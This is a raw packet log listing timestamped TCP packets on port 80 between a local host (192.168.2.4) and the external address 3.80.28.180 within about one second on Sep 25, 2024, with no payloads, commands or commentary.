Sep 25, 2024 03:51:29.790132999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.790143967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.790155888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.790168047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.790179014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.790190935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.790204048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.790219069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.790254116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.792922020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.792974949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.792987108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793062925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793096066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793107033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793118954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793131113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793164015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793237925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793370008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793415070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793426037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793433905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793478966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793523073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793541908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793555021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793566942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793621063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793621063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793637037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793731928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793741941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793754101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793812990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793812990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793838024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793849945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793862104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793875933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793890953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793896914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.793967962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793979883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793991089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.793994904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794012070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794047117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794081926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794254065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794266939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794276953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794289112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794300079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794311047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794317007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794328928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794342995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794354916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794378996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794398069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794441938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794522047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794536114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794548035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794560909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794584036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794632912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794667006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794681072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794692993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794703960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794715881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794728994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794739962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794754028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794763088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794763088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794815063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794924974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794943094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794955969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794967890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794981956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.794997931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.794998884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795023918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795037031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795041084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795049906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795131922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795166969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795178890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795192957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795207024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795212030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795219898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795237064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795337915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795439005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795449972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795461893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795475960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795488119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795500040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795514107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795526981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795537949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795541048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795541048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795551062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795562029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795573950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795586109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795598030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.795612097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795612097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.795670986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.837335110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837363005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837376118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837472916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.837493896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837506056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837517977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837531090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.837559938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.837615013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883219957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883259058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883270979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883277893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883285999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883331060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883339882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883343935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883358002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883395910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883431911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883491039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883563995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883574963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883588076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883599997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883615017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883626938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883630037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883647919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883735895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.883933067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883945942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883956909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883970022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883985996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.883997917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884000063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884000063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884011984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884025097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884037018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884047985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884052992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884062052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884073019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884093046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884093046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884124994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884386063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884501934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884514093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884525061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884536982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884547949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884558916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884562016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884562016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884572029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884644032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884840965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884852886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884862900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884875059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884886980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884891033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884898901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884911060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884927034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.884955883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.884955883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885284901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885296106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885307074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885318041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885327101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885332108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885344028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885355949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885368109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885389090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885406017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885581970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885592937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885602951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885631084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885735989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885750055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885767937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885778904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885788918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885803938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885811090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885811090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885814905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885828972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885839939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885852098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885864019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.885875940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.885950089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886123896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886215925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886301994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886313915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886323929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886336088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886348009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886358976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886368990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886379957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886390924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886390924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886394024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886406898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886425018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886435986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886444092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886452913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886471987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886528969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.886929989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886948109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886960983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886971951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886987925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.886998892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887012005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887022018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887034893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887041092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887041092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887048006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887058973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887070894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887082100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887093067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887103081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887103081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887104988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887118101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887129068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887140989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887147903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887147903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887155056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887168884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887172937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887181997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887198925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887237072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887804031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887818098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887830019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887841940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887851954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887862921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887873888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887876987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887887001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.887907028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887942076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.887942076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.928425074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928437948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928457975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928472042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928483963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928495884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928514957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.928514957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.928584099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928603888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.928610086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.928675890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974277973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974309921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974360943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974375963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974395037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974430084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974464893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974493980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974493980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974509001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974520922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974533081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974548101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974560022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974560022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974638939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974719048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974731922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974741936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974755049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974786997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974845886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974850893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974869013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974880934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974936008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.974946022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974958897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974971056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974982977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.974994898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975002050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975002050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975008011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975019932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975043058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975070953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975301027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.975372076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.975413084 CEST	80	49730	3.80.28.180	192.168.2.4
